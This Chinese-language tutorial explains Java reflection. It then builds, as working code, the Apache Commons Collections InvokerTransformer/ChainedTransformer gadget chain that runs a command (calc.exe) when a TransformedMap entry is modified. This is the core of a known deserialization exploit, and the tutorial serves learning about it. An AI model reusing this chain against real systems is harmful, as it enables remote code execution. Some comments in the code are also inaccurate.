目录
反射机制是java的一个非常重要的机制，一些著名的应用框架都使用了此机制，如struts、spring、hibernate、android app界面等等。
java.lang.Class它是java语法的一个基础类，用于描述一个class对象。在文件系统中，class以文件的形式存在。在运行的JVM中，*.class文件被加载到内存中成为一个对象，该对象的类型就是java.lang.Class。
什么是反射？
在运行状态中，对于任意一个类，都能够获取到这个类的所有属性和方法，对于任意一个对象，都能够调用它的任意一个方法和属性(包括私有的方法和属性)，这种动态获取信息以及动态调用对象的方法的功能就称为java语言的反射机制。也就是说，虽然我们获取不到该类的源代码，但是通过该类的.class文件能反射(Reflect)出这些信息。
通俗点讲，通过反射，该类对我们来说是完全透明的，想要获取任何东西都可以。
想要使用反射机制，就必须要先获取到该类的字节码文件对象 .class，java.lang.Class类表示 .class 字节码文件对象。通过字节码文件对象，就能够通过该类中的方法获取到我们想要的所有信息(方法、属性、类名、父类名、实现的所有接口等等)，每一个类对应着一个字节码文件也就对应着一个Class类型的对象，也就是字节码文件对象。
获取.class字节码文件对象
获取字节码文件对象的三种方式，有了字节码文件对象才能获得类中所有的信息，我们在使用反射获取信息时，也要考虑使用下面哪种方式获取字节码对象合理，视不同情况而定。
//方法一
Class clazz1 = Class.forName("my.Student");//通过Class类中的静态方法forName，直接获取到一个类的字节码文件对象，此时该类还是源文件阶段，并没有变为字节码文件。包名为 my，类名为 Student
//方法二
Class clazz2 = Student.class; //当类被加载成.class文件时，此时Student.java类变成了Student.class，该类处于字节码阶段
//方法三
Student s=new Student(); //实例化Student对象
Class clazz3 = s.getClass(); //通过该类的实例获取该类的字节码文件对象，该类处于创建对象阶段获取该.class字节码文件对象的详细信息
当我们得到一个.class字节码文件对象，我们可以得到以下信息：
- 类名 (含package路径)
- 函数 (名称，参数类型，返回值）
- 域 （名称，类型）
- 实现的接口 (interfaces)
使用 java.lang.reflect.*下的类来实现
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.text.DateFormat.Field;
public class main
public static void main(String[] args) throws Exception{
Object obj=new Student(); //Student实例
Class cls=obj.getClass(); //得到Student字节码对象
//通过函数名和函数参数，得到函数
String methodName="setId"; //函数名字
Class[] par={int.class,String.class}; //函数参数
Method m=cls.getMethod(methodName, par); //返回函数
//调用method
Object[] paramters={123,"haha"}; //传递参数
m.invoke(obj,paramters); //执行函数
cls.getPackage(); //获取包信息
String str=cls.getSimpleName(); //Student ，获得该类的名字，不包含包名
String str2=cls.getName(); //my.Student，获得该类的名字，包含包名
Object obj2=cls.newInstance(); //创建一个实例，要求有一个不带参数的构造函数
int modified=cls.getModifiers(); //获取cls对象的类修饰符
Class[] interfaces=cls.getInterfaces(); //获取实现的接口集合
Constructor[] con=cls.getConstructors(); //获取构造函数的集合
Method[] methods=cls.getMethods(); //获取函数列表
cls.getDeclaredAnnotations(); //获取私有函数(protected和private修饰的)
java.lang.reflect.Field[] fields=cls.getFields(); //获取成员变量列表
cls.getDeclaredField(str2); //获取私有变量(protected和private修饰的)
}
}通过反射机制执行函数
如下，下面的代码中我们利用JAVA 的反射机制来调用计算器。我们利用了Java的反射机制把我们的代码意图都利用字符串的形式进行体现，使得原本应该是字符串的属性，变成了代码执行的逻辑。
import java.lang.reflect.InvocationTargetException;
public class main3 {
public static void main(String[] args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException, ClassNotFoundException {
Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null); //得到Runtime.getRuntime()函数
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime,"calc.exe"); //执行函数
}
}运行代码，可以看到，执行了 calc.exe 的命令
反射链
什么是反射链呢？
我们来查看 org.apache.commons.collections.functors.InvokerTransformer.java 的源代码，这个接口实现了反射链，可以通过Java的反射机制来执行任意命令
public class InvokerTransformer implements Transformer, Serializable {
/*
Input参数为要进行反射的对象，
iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型
iArgs为对应方法的参数
在invokeTransformer这个类的构造函数中我们可以发现，这三个参数均为可控参数
*/
private static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public static Transformer getInstance(String methodName) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
}
return new InvokerTransformer(methodName);
}
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
}
if (((paramTypes == null) && (args != null))
|| ((paramTypes != null) && (args == null))
|| ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
throw new IllegalArgumentException("The parameter types must match the arguments");
}
if (paramTypes == null || paramTypes.length == 0) {
return new InvokerTransformer(methodName);
} else {
paramTypes = (Class[]) paramTypes.clone();
args = (Object[]) args.clone();
return new InvokerTransformer(methodName, paramTypes, args);
}
}
private InvokerTransformer(String methodName) {
super();
iMethodName = methodName;
iParamTypes = null;
iArgs = null;
}
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
private void writeObject(ObjectOutputStream os) throws IOException {
FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
os.defaultWriteObject();
}
private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
is.defaultReadObject();
}
}然后，我们去实现这个接口，只需要传入方法名、参数类型和参数，即可调用任意函数。在这里，我们可以看到，先用ConstantTransformer() 获取了 Runtime 类，接着通过反射调用 getRuntime 函数，再调用 getRuntime 的 exec() 函数，执行命令。依次调用关系为： Runtime --> getRuntime --> exec()
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class main2 {
public static void main(String[] args) {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class), //获得Runtime.class字节码文件
//通过反射，返回一个对象
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
//ChainedTransformer为链式的Transformer，会挨个执行我们定义Transformer
Transformer transformedChain=new ChainedTransformer(transformers);
Map innerMap=new HashMap();
innerMap.put("value","value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);
Map.Entry entry=(Entry)outerMap.entrySet().iterator().next();
entry.setValue("test"); //修改值，触发执行
}
}可以看到，当Map中的Value值被修改了，触发执行了Transformer的transform()方法，通过反射链调用了Runtime.getRuntime.exec("calc.exe") 命令
